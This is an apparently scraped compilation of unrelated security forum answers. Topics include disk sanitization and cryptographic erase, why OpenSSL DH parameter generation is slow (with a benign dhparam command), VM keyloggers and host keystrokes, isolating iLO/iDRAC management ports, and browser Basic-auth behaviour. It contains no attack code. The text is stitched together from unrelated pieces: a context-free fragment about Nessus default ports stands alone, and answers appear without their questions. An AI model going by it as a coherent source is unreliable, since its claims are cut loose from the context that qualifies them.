But no matter how tiny the magnetic fields on the platters have become, drive manufacturers have been incorporating sophisticated computing techniques to improve drive performance and reliability.   These techniques are meant to preserve data, and actually can prevent the secure deletion of data using overwriting techniques.  For example, a drive will reserve an unused fraction of blocks just in case a part of the platter becomes unreliable, and in case of failure it will automatically migrate the data from the bad part of the platter to the good part.  That means it no longer matters if you overwrite the disk with zeros, 0xFFs, or random numbers.  If the sector that went bad used to hold a secret, that secret would never be overwritten by any pattern of wiping.

These continual improvements of hard drive technologies have created the need for more reliable techniques to sanitize disk drives.  Today, cryptographic wiping is recommended.  The data on the drive can be encrypted with a random key stored only in a flash chip on the drive.  To destroy the data, the flash memory is erased and the only copy of the key is wiped out of existence.  With no decryption key available, the encrypted data is securely and instantly destroyed.

For more information on acceptable disk sanitization techniques, I recommend reading the NIST standard 800-88, rev 1.


Default = All common ports listed in the configuration file (/etc/services).

Extracted from official nessus documentation page.


Diffie Hellman parameters still calculating after 24 hours

If openssl uses a lot of CPU then it is not blocked waiting for "entropy". OpenSSL is actually sane in that respect, and uses a cryptographically secure PRNG to extend an initial seed into as many bits as it needs.

When you use dhparam, OpenSSL not only generates DH parameters; it also wants to assert his social status by taking care to use for the modulus a so-called "strong prime", which is useless for security but requires an awful lot more computational effort. A "strong prime" is a prime p such that (p-1)/2 is also prime. The prime generation algorithm looks like this:

Generate a random odd integer p.
Test whether p is prime. If not, loop.
Test whether (p-1)/2 is prime. If not, loop.

Random odd 4096-bit integers are probability about 1/2000 to be prime, and since both p and (p-1)/2 must be prime, this will need on average generating and testing for primality about 4 millions of odd primes. This is bound to take some time.

When going from 2048-bit to 4096-bit, the density of strong primes is divided by 4, and the primality tests will also be about 4 times slower, so if generating a 2048-bit DH modulus takes 1 hour on average, the same machine with the same software will use an average of 16 hours for a 4096-bit DH modulus. This is only averages; each individual generation may be faster or slower, depending on your luck.

The reasonable solution would be to add the -dsaparam option.

openssl dhparam -dsaparam -out /etc/ssl/private/dhparam.pem 4096

This option instructs OpenSSL to produce "DSA-like" DH parameters (p is such that p-1 is a multiple of a smaller prime q, and the generator has multiplicative order q). This is considerably faster because it does not need to nest the primality tests, and thus only thousands, not millions, of candidates will be generated and tested.

As far as academics know, DSA-like parameters for DH are equally secure; there is no actual advantage to using "strong primes" (the terminology is traditional and does not actually imply some extra strength).

Similarly, you may also use a 2048-bit modulus, which is already very far into the "cannot break it zone". The 4096-bit modulus will make DH computations slower (which is not a real problem for a VPN; these occur only at the start of the connection), but won't actually improve security.

To some extent, a 4096-bit modulus may woo auditors, but auditors are unlikely to be much impressed by a Raspberry-Pi, which is way too cheap anyway.


Does a VM keylogger listen to the keyboard activities of the host?

It should not be able to, as keyboard press events (interrupts) will only be routed to the VM when the VM has focus.  Any other time, the keyboard press interrupts will be handled within the host OS, and thus would not be visible to the VM.

Of course, if you map your host keyboard as a raw device in the VM or otherwise redirect the interrupts, that would change things, but I assume you're asking about the common case.


Guidelines on out-of-band server management via integrated Lights-out services (iLO, iDRAC etc.)

Most important thing: don't put them on the internet :). Make a seperate network or vlan for them.


the client browser will first try the default, un-encrypted HTTP connection, potentially including your Authorization header if the browser has got this details.

I think this assumption is wrong: The browser distinguishes between http:// and https://, i.e. credentials entered on https:// will not be included when accessing http:// and vice versa. This means the browser will only include the credentials for basic authentication on http:// if the user has entered the credentials before on http://. And the browser only asked for the credentials on http:// if the server issued a 401 (authentication required) on http://. If the server instead simply redirects to https:// and only issues the 401 there then the browser will never ask for the credentials on http:// and thus not store the credentials for http:// and not include the credentials on http://.